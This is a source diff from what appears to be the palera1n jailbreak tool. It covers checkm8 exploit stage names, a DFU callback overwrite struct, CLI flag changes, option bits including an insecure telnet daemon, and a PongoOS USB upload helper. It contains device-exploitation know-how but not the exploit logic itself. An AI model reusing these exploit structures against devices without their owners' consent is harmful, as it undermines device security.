STAGE_SETUP = 1,
|
|
||||||
STAGE_SPRAY = 2,
|
|
||||||
STAGE_PATCH = 3,
|
|
||||||
STAGE_YOLODFU = 4,
|
|
||||||
STAGE_PONGO = 5,
|
|
||||||
STAGE_DONE = 6,
|
|
||||||
};
|
|
||||||
|
|
||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
|
||||||
|
|
||||||
const char* stage_to_string(int stage);
|
|
||||||
int stage_to_progress(int stage);
|
|
||||||
|
|
||||||
#endif // WITH_GUI || WITH_TUI
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
atomic_int result;
|
|
||||||
atomic_bool stop;
|
|
||||||
atomic_int stage;
|
|
||||||
} shared_t;
|
|
||||||
|
|
||||||
bool exploit(shared_t *state);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // RUN_H
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
#ifndef STAGE1_H
|
|
||||||
#define STAGE1_H
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#include "payload.h"
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
uint32_t endpoint, pad_0;
|
|
||||||
uint64_t io_buffer;
|
|
||||||
uint32_t status, io_len, ret_cnt, pad_1;
|
|
||||||
uint64_t callback, next;
|
|
||||||
} dfu_callback_t;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
dfu_callback_t callback;
|
|
||||||
} checkm8_overwrite_t;
|
|
||||||
|
|
||||||
bool generate_stage1(
|
|
||||||
void** outbuf,
|
|
||||||
size_t* outlen,
|
|
||||||
void* payload,
|
|
||||||
size_t payload_sz,
|
|
||||||
struct DeviceConfiguration *deviceConfig,
|
|
||||||
struct PayloadConfiguration *payloadConfig
|
|
||||||
);
|
|
||||||
|
|
||||||
#endif // STAGE1_H
|
|
||||||
+77
-47
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <cstdlib>
|
#include <cstdlib>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
@@ -5,29 +32,34 @@
|
|||||||
#include <cstdio>
|
#include <cstdio>
|
||||||
#include <cstdlib>
|
#include <cstdlib>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <inttypes.h> // PRIx64
|
||||||
|
|
||||||
#ifdef WITH_GUI
|
#ifdef WITH_GUI
|
||||||
# include <wx/wx.h>
|
# include <wx/wx.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include "m8/run.h"
|
#include "exploit.h"
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
# include "tui/Tui.hpp"
|
# include "tui/Tui.hpp"
|
||||||
#endif
|
#endif
|
||||||
#include "utils.h"
|
#if WITH_CIDERRAIN
|
||||||
|
# include <ciderra1n/log.h>
|
||||||
|
extern "C" {
|
||||||
|
# include <ciderra1n/ra1n.h>
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
# include <openra1n/utils.h>
|
||||||
|
#endif
|
||||||
#include "globals.h"
|
#include "globals.h"
|
||||||
#include "paleinfo.h"
|
#include "paleinfo.h"
|
||||||
#ifdef _WIN32
|
#include "pongo_helper.h"
|
||||||
# include "usb/driver.h"
|
|
||||||
#endif
|
|
||||||
#include "usb/pongo_helper.h"
|
|
||||||
|
|
||||||
void print_credits() {
|
void print_credits() {
|
||||||
printf(
|
printf(
|
||||||
"::\n"
|
"::\n"
|
||||||
":: Palera1n beta " PALERAIN_VERSION "\n"
|
":: Palera1n beta " PALERAIN_VERSION "\n"
|
||||||
"::\n"
|
"::\n"
|
||||||
":: (c) 2026\n"
|
":: Copyright (C) 2026 palera1n team\n"
|
||||||
"::\n"
|
"::\n"
|
||||||
":: ======== Made by =======>\n"
|
":: ======== Made by =======>\n"
|
||||||
":: Made by: asdfugil, kok3shidoll, claration, mineek\n"
|
":: Made by: asdfugil, kok3shidoll, claration, mineek\n"
|
||||||
@@ -57,6 +89,7 @@ void print_usage(char* argv) {
|
|||||||
#endif
|
#endif
|
||||||
" --dark-blockchain [f] Enable dark blockchain\n"
|
" --dark-blockchain [f] Enable dark blockchain\n"
|
||||||
" --force-revert [f] Force environment reversion\n"
|
" --force-revert [f] Force environment reversion\n"
|
||||||
|
" --force-enable-ssv [f] Force SSV detection to result in YES\n"
|
||||||
" -l, --rootless [f] Enable rootless mode (standard)\n"
|
" -l, --rootless [f] Enable rootless mode (standard)\n"
|
||||||
" -f, --rootful [f] Boots fakefs\n"
|
" -f, --rootful [f] Boots fakefs\n"
|
||||||
" -c, --setup-fakefs [f] Setup fake filesystem\n"
|
" -c, --setup-fakefs [f] Setup fake filesystem\n"
|
||||||
@@ -70,12 +103,9 @@ void print_usage(char* argv) {
|
|||||||
" -K, --override-kpf <FILE PATH> Override kernel patchfinder\n"
|
" -K, --override-kpf <FILE PATH> Override kernel patchfinder\n"
|
||||||
" -o, --override-overlay <FILE PATH> Override overlay\n"
|
" -o, --override-overlay <FILE PATH> Override overlay\n"
|
||||||
" -r, --override-ramdisk <FILE PATH> Override ramdisk\n"
|
" -r, --override-ramdisk <FILE PATH> Override ramdisk\n"
|
||||||
|
" -d, --debug-logging Enable debug logging\n"
|
||||||
" -n, --no-colors [f] Disable colors on the command line\n"
|
" -n, --no-colors [f] Disable colors on the command line\n"
|
||||||
" -q, --quick [f] Enable Quick Mode\n"
|
" -q, --quick [f] Enable Quick Mode\n"
|
||||||
#ifdef _WIN32
|
|
||||||
" --install-drivers <PID> Install libusbK drivers for PID\n"
|
|
||||||
" --remove-drivers <PID> Remove libusbK drivers for PID\n"
|
|
||||||
#endif
|
|
||||||
, argv
|
, argv
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -103,6 +133,7 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
#endif
|
#endif
|
||||||
{"dark-blockchain", no_argument, NULL, 4},
|
{"dark-blockchain", no_argument, NULL, 4},
|
||||||
{"force-revert", no_argument, NULL, 5},
|
{"force-revert", no_argument, NULL, 5},
|
||||||
|
{"force-enable-ssv", no_argument, NULL, 6},
|
||||||
{"rootless", no_argument, NULL, 'l'},
|
{"rootless", no_argument, NULL, 'l'},
|
||||||
{"rootful", no_argument, NULL, 'f'},
|
{"rootful", no_argument, NULL, 'f'},
|
||||||
{"setup-fakefs", no_argument, NULL, 'c'},
|
{"setup-fakefs", no_argument, NULL, 'c'},
|
||||||
@@ -116,12 +147,9 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
{"override-kpf", required_argument, NULL, 'K'},
|
{"override-kpf", required_argument, NULL, 'K'},
|
||||||
{"override-overlay", required_argument, NULL, 'o'},
|
{"override-overlay", required_argument, NULL, 'o'},
|
||||||
{"override-ramdisk", required_argument, NULL, 'r'},
|
{"override-ramdisk", required_argument, NULL, 'r'},
|
||||||
|
{"debug-logging", no_argument, NULL, 'd'},
|
||||||
{"no-colors", no_argument, NULL, 'n'},
|
{"no-colors", no_argument, NULL, 'n'},
|
||||||
{"quick", no_argument, NULL, 'q'},
|
{"quick", no_argument, NULL, 'q'},
|
||||||
#ifdef _WIN32
|
|
||||||
{"install-drivers", required_argument, NULL, 6},
|
|
||||||
{"remove-drivers", required_argument, NULL, 7},
|
|
||||||
#endif
|
|
||||||
{NULL, 0, NULL, 0}
|
{NULL, 0, NULL, 0}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -149,19 +177,26 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
# endif
|
# endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:nq", long_options, &option_index)) != -1) {
|
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:dnq", long_options, &option_index)) != -1) {
|
||||||
switch (options) {
|
switch (options) {
|
||||||
case 'h': // --help
|
case 'h': // --help
|
||||||
print_usage(argv[0]);
|
print_usage(argv[0]);
|
||||||
exit(1);
|
exit(1);
|
||||||
case 'v': // --version
|
case 'v': // --version
|
||||||
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (openra1n)]\n",
|
#if WITH_CIDERRAIN
|
||||||
|
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libcidera1n %s)]\n",
|
||||||
|
ra1n_show_usb_backend(),
|
||||||
|
ra1n_show_build_version()
|
||||||
|
);
|
||||||
|
#else
|
||||||
|
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libopenra1n)]\n",
|
||||||
#ifdef __APPLE__
|
#ifdef __APPLE__
|
||||||
"IOKit"
|
"IOKit"
|
||||||
#else
|
#else
|
||||||
"libusb"
|
"libusb"
|
||||||
#endif
|
#endif
|
||||||
);
|
);
|
||||||
|
#endif
|
||||||
printf("%s (%s)\n", GIT_HASH, GIT_BRANCH);
|
printf("%s (%s)\n", GIT_HASH, GIT_BRANCH);
|
||||||
printf("Git: %s\n", GIT_URL);
|
printf("Git: %s\n", GIT_URL);
|
||||||
printf("Compiled on %s at %s\n", __DATE__, __TIME__);
|
printf("Compiled on %s at %s\n", __DATE__, __TIME__);
|
||||||
@@ -191,6 +226,9 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
case 5: // --force-revert
|
case 5: // --force-revert
|
||||||
palerain_flags |= palerain_option_force_revert;
|
palerain_flags |= palerain_option_force_revert;
|
||||||
break;
|
break;
|
||||||
|
case 6: // --force-enable-ssv
|
||||||
|
palerain_flags |= palerain_option_ssv;
|
||||||
|
break;
|
||||||
case 'l': // --rootless
|
case 'l': // --rootless
|
||||||
palerain_flags &= ~palerain_option_rootful;
|
palerain_flags &= ~palerain_option_rootful;
|
||||||
palerain_flags |= palerain_option_rootless;
|
palerain_flags |= palerain_option_rootless;
|
||||||
@@ -219,25 +257,25 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
break;
|
break;
|
||||||
case 'e': // --extra-bootargs
|
case 'e': // --extra-bootargs
|
||||||
if (strlen(optarg) > (sizeof(boot_args) - 0x20)) {
|
if (strlen(optarg) > (sizeof(boot_args) - 0x20)) {
|
||||||
LOG_ERROR("Boot arguments too long");
|
LOG_ERROR("Boot arguments too long!");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
snprintf(boot_args, sizeof(boot_args), "%s", optarg);
|
snprintf(boot_args, sizeof(boot_args), "%s", optarg);
|
||||||
break;
|
break;
|
||||||
case 'k': // --override-pongo
|
case 'k': // --override-pongo
|
||||||
if (!override_payload_from_file(optarg, &g_payload_pongo)) {
|
if (!override_payload_from_file(optarg, &g_payload_pongo)) {
|
||||||
LOG_ERROR("Failed to load pongo payload\n");
|
LOG_ERROR("Failed to load pongo payload, is the path correct?");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
if (g_payload_pongo.data_len > PONGO_MAX_SZ) {
|
if (g_payload_pongo.data_len > PONGO_MAX_SZ) {
|
||||||
LOG_ERROR("Pongo payload too large: %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
|
LOG_ERROR("Pongo payload is too large! %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
LOG("Overriding pongo payload with %s", optarg);
|
LOG("Overriding pongo payload with %s", optarg);
|
||||||
break;
|
break;
|
||||||
case 'K': // --override-kpf
|
case 'K': // --override-kpf
|
||||||
if (!override_payload_from_file(optarg, &g_payload_kpf)) {
|
if (!override_payload_from_file(optarg, &g_payload_kpf)) {
|
||||||
LOG_ERROR("Failed to load kpf payload\n");
|
LOG_ERROR("Failed to load kpf payload, is the path correct?");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
if (g_payload_kpf.data_len < 4
|
if (g_payload_kpf.data_len < 4
|
||||||
@@ -251,44 +289,27 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
break;
|
break;
|
||||||
case 'o': // --override-overlay
|
case 'o': // --override-overlay
|
||||||
if (!override_payload_from_file(optarg, &g_payload_overlay)) {
|
if (!override_payload_from_file(optarg, &g_payload_overlay)) {
|
||||||
LOG_ERROR("Failed to load overlay payload\n");
|
LOG_ERROR("Failed to load overlay payload, is the path correct?");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
LOG("Overriding overlay payload with %s", optarg);
|
LOG("Overriding overlay payload with %s", optarg);
|
||||||
break;
|
break;
|
||||||
case 'r': // --override-ramdisk
|
case 'r': // --override-ramdisk
|
||||||
if (!override_payload_from_file(optarg, &g_payload_ramdisk)) {
|
if (!override_payload_from_file(optarg, &g_payload_ramdisk)) {
|
||||||
LOG_ERROR("Failed to load ramdisk payload\n");
|
LOG_ERROR("Failed to load ramdisk payload, is the path correct?");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
LOG("Overriding ramdisk payload with %s", optarg);
|
LOG("Overriding ramdisk payload with %s", optarg);
|
||||||
break;
|
break;
|
||||||
|
case 'd': // --debug-logging
|
||||||
|
if (gDebugLevel < 5) gDebugLevel++;
|
||||||
|
break;
|
||||||
case 'n': // --no-colors
|
case 'n': // --no-colors
|
||||||
palerain_flags |= palerain_option_no_colors;
|
palerain_flags |= palerain_option_no_colors;
|
||||||
break;
|
break;
|
||||||
case 'q': // --quick
|
case 'q': // --quick
|
||||||
palerain_flags |= palerain_option_quick;
|
palerain_flags |= palerain_option_quick;
|
||||||
break;
|
break;
|
||||||
#ifdef _WIN32
|
|
||||||
case 6: { // --install-drivers <PID>
|
|
||||||
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
|
|
||||||
if (parsed_pid == 0) {
|
|
||||||
LOG_ERROR("Invalid PID value provided\n");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
install_libusbk_target(0x05AC, parsed_pid);
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
case 7: { // --remove-drivers <PID>
|
|
||||||
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
|
|
||||||
if (parsed_pid == 0) {
|
|
||||||
LOG_ERROR("Invalid PID value provided\n");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
uninstall_libusbk_target(0x05AC, parsed_pid);
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
case '?':
|
case '?':
|
||||||
LOG_ERROR("Unknown option\n");
|
LOG_ERROR("Unknown option\n");
|
||||||
print_usage(argv[0]);
|
print_usage(argv[0]);
|
||||||
@@ -345,17 +366,24 @@ void parse_arguments(int argc, char* argv[]) {
|
|||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// controls logging settings in our checkm8 libraries
|
||||||
|
if (palerain_flags & palerain_option_no_colors) gSilentLogs = false;
|
||||||
|
if (palerain_flags & palerain_option_tui) gSilentLogs = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argc, char* argv[], char* envp[]) {
|
int main(int argc, char* argv[], char* envp[]) {
|
||||||
print_credits();
|
print_credits();
|
||||||
parse_arguments(argc, argv);
|
parse_arguments(argc, argv);
|
||||||
LOG("palera1n_flags: %llu", palerain_flags);
|
|
||||||
|
LOG("Welcome to palera1n!");
|
||||||
|
LOG("Reminder, this jailbreak IS designed for iOS 15+");
|
||||||
|
LOG_DEBUG("palera1n_flags: 0x%" PRIx64, palerain_flags);
|
||||||
|
|
||||||
// communicating with libusb on linux needs root
|
// communicating with libusb on linux needs root
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
if (geteuid() != 0) {
|
if (geteuid() != 0) {
|
||||||
LOG_WARN("You are not running as root, this may cause issues when exploiting");
|
LOG_ERROR("You are not running as root, this may cause issues when exploiting...");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -384,6 +412,8 @@ int main(int argc, char* argv[], char* envp[]) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
shared_t state{};
|
int stage;
|
||||||
return exploit(&state);
|
bool ret = exploit(&stage);
|
||||||
|
LOG("Thank you for using palera1n!");
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
+9
-5
@@ -18,12 +18,12 @@ typedef uint64_t palerain_option_t;
|
|||||||
#define palerain_option_rootful (UINT64_C(1) << 0) /* rootful jailbreak */
|
#define palerain_option_rootful (UINT64_C(1) << 0) /* rootful jailbreak */
|
||||||
#define palerain_option_rootless (UINT64_C(1) << 1) /* rootless jailbreak */
|
#define palerain_option_rootless (UINT64_C(1) << 1) /* rootless jailbreak */
|
||||||
#define palerain_option_setup_rootful (UINT64_C(1) << 2) /* create fakefs */
|
#define palerain_option_setup_rootful (UINT64_C(1) << 2) /* create fakefs */
|
||||||
// (UINT64_C(1) << 3) /* Deprecated and removed */
|
/* reserved */
|
||||||
#define palerain_option_setup_partial_root (UINT64_C(1) << 4) /* fakefs creating should be partial */
|
#define palerain_option_setup_partial_root (UINT64_C(1) << 4) /* fakefs creating should be partial */
|
||||||
#define palerain_option_checkrain_is_clone (UINT64_C(1) << 5) /* supplied checkra1n is checkra1n clone */
|
#define palerain_option_checkrain_is_clone (UINT64_C(1) << 5) /* supplied checkra1n is checkra1n clone */
|
||||||
#define palerain_option_rootless_livefs (UINT64_C(1) << 6) /* mount root livefs on rootless */
|
#define palerain_option_rootless_livefs (UINT64_C(1) << 6) /* mount root livefs on rootless */
|
||||||
#define palerain_option_ssv (UINT64_C(1) << 7) /* has signed system volume */
|
#define palerain_option_ssv (UINT64_C(1) << 7) /* signed system volume */
|
||||||
// (UINT64_C(1) << 8) /* reserved */
|
// #define palerain_option_force_fakefs (UINT64_C(1) << 8) /* force fakefs, even without SSV */
|
||||||
#define palerain_option_clean_fakefs (UINT64_C(1) << 9) /* clean fakefs, but does not delete it */
|
#define palerain_option_clean_fakefs (UINT64_C(1) << 9) /* clean fakefs, but does not delete it */
|
||||||
#define palerain_option_tui (UINT64_C(1) << 10) /* terminal user interface */
|
#define palerain_option_tui (UINT64_C(1) << 10) /* terminal user interface */
|
||||||
#define palerain_option_gui (UINT64_C(1) << 11) /* graphical user interface*/
|
#define palerain_option_gui (UINT64_C(1) << 11) /* graphical user interface*/
|
||||||
@@ -45,11 +45,15 @@ typedef uint64_t palerain_option_t;
|
|||||||
// #define palerain_option_sf_ssh (UINT64_C(1) << 27) /* safe mode with bootstrap ssh */
|
// #define palerain_option_sf_ssh (UINT64_C(1) << 27) /* safe mode with bootstrap ssh */
|
||||||
// #define palerain_option_sf_launchdaemons (UINT64_C(1) << 28) /* safe mode with launchdaemons */
|
// #define palerain_option_sf_launchdaemons (UINT64_C(1) << 28) /* safe mode with launchdaemons */
|
||||||
// #define palerain_option_emerg_mode (UINT64_C(1) << 29) /* emergency mode (early boot usb shell) */
|
// #define palerain_option_emerg_mode (UINT64_C(1) << 29) /* emergency mode (early boot usb shell) */
|
||||||
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
|
// #define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
|
||||||
#define palerain_option_cli (UINT64_C(1) << 31) /* CLI mode */
|
#define palerain_option_cli (UINT64_C(1) << 31) /* CLI mode */
|
||||||
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon */
|
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon (insecure) */
|
||||||
#define palerain_option_quick (UINT64_C(1) << 33) /* Quick mode */
|
#define palerain_option_quick (UINT64_C(1) << 33) /* Quick mode */
|
||||||
|
|
||||||
|
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 50) /* make ramdisk log to file (jbinit2) */
|
||||||
|
#define palerain_option_setup_rootful_forced (UINT64_C(1) << 51) /* create fakefs over an existing one (jbinit2) */
|
||||||
|
|
||||||
|
#define palerain_option_failure (UINT64_C(1) << 60) /* something went wrong */
|
||||||
#define palerain_option_flower_chain (UINT64_C(1) << 61) /* Flower chain */
|
#define palerain_option_flower_chain (UINT64_C(1) << 61) /* Flower chain */
|
||||||
#define palerain_option_test1 (UINT64_C(1) << 62) /* Developer test option 1 */
|
#define palerain_option_test1 (UINT64_C(1) << 62) /* Developer test option 1 */
|
||||||
#define palerain_option_test2 (UINT64_C(1) << 63) /* Developer test option 2 */
|
#define palerain_option_test2 (UINT64_C(1) << 63) /* Developer test option 2 */
|
||||||
|
|||||||
@@ -0,0 +1,278 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "pongo_helper.h"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <inttypes.h> // PRIx64
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
# include <ciderra1n/usb.h>
|
||||||
|
# include <ciderra1n/log.h>
|
||||||
|
# include <ciderra1n/pongo_compress.h>
|
||||||
|
#else
|
||||||
|
# include <openra1n/shim.h>
|
||||||
|
# include <openra1n/utils.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "globals.h"
|
||||||
|
#include "paleinfo.h"
|
||||||
|
|
||||||
|
p1_transfer_ret_t issue_pongo_command(const p1_usb_handle_t *handle, const char *command)
|
||||||
|
{
|
||||||
|
p1_transfer_ret_t result;
|
||||||
|
|
||||||
|
uint32_t outpos = 0;
|
||||||
|
uint32_t outlen = 0;
|
||||||
|
uint8_t in_progress = 1;
|
||||||
|
|
||||||
|
char command_buf[512];
|
||||||
|
char stdout_buf[0x2000];
|
||||||
|
|
||||||
|
memset(stdout_buf, 0, sizeof(stdout_buf));
|
||||||
|
|
||||||
|
if (command != NULL) {
|
||||||
|
size_t len = strlen(command);
|
||||||
|
|
||||||
|
if (len > 510) {
|
||||||
|
LOG_ERROR("Pongo command too long: %s", command);
|
||||||
|
result.ret = 1;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG_DEBUG("Executing PongoOS command: '%s'", command);
|
||||||
|
|
||||||
|
snprintf(command_buf, sizeof(command_buf), "%s\n", command);
|
||||||
|
len = strlen(command_buf);
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
result = usb_ctrl_transfer(handle, 0x21, 4, 1, 0, NULL, 0);
|
||||||
|
if (result.ret != kUSBResponseSuccess) goto result;
|
||||||
|
result = usb_ctrl_transfer(handle, 0x21, 3, 0, 0, (uint8_t *)command_buf, len);
|
||||||
|
if (result.ret != kUSBResponseSuccess) goto result;
|
||||||
|
#else
|
||||||
|
result = send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0);
|
||||||
|
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||||
|
result = send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len);
|
||||||
|
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// return early if the command is boot, we dont care about results
|
||||||
|
if (strncmp(command,"boot",4) == 0) goto result;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (in_progress) {
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
result = usb_ctrl_transfer(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
|
||||||
|
if (result.ret != kUSBResponseSuccess) goto result;
|
||||||
|
#else
|
||||||
|
result = send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
|
||||||
|
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (in_progress == 0) break;
|
||||||
|
|
||||||
|
if (outpos + 0x1000 >= sizeof(stdout_buf)) {
|
||||||
|
memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000);
|
||||||
|
outpos -= 0x1000;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
result = usb_ctrl_transfer(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
|
||||||
|
if (result.ret != kUSBResponseSuccess) goto result;
|
||||||
|
#else
|
||||||
|
result = send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
|
||||||
|
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
outlen = 0x1000;
|
||||||
|
outpos += outlen;
|
||||||
|
}
|
||||||
|
|
||||||
|
result:
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
p1_transfer_ret_t upload_buffer_to_pongo(p1_usb_handle_t *handle, const void *data, size_t length)
|
||||||
|
{
|
||||||
|
p1_transfer_ret_t result;
|
||||||
|
|
||||||
|
if (data == NULL || length == 0) {
|
||||||
|
LOG_ERROR("Invalid data buffer or length");
|
||||||
|
result.ret = -1;
|
||||||
|
goto result;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG_DEBUG("Uploading %zu bytes to PongoOS...", length);
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
result = usb_ctrl_transfer(handle, 0x21, 1, 0, 0, (void *)&length, 4);
|
||||||
|
if (result.ret != kUSBResponseSuccess) {
|
||||||
|
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
|
||||||
|
goto result;
|
||||||
|
}
|
||||||
|
result = usb_bulk_upload(handle, (uint8_t *)data, (uint32_t)length);
|
||||||
|
if (result.ret != kUSBResponseSuccess) {
|
||||||
|
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
|
||||||
|
goto result;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
result = send_interface_control_request(handle, 0x21, 1, 0, 0, (void *)&length, 4);
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != 4) {
|
||||||
|
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
|
||||||
|
goto result;
|
||||||
|
}
|
||||||
|
result = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length);
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != length) {
|
||||||
|
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
|
||||||
|
goto result;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
result:
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length)
|
||||||
|
{
|
||||||
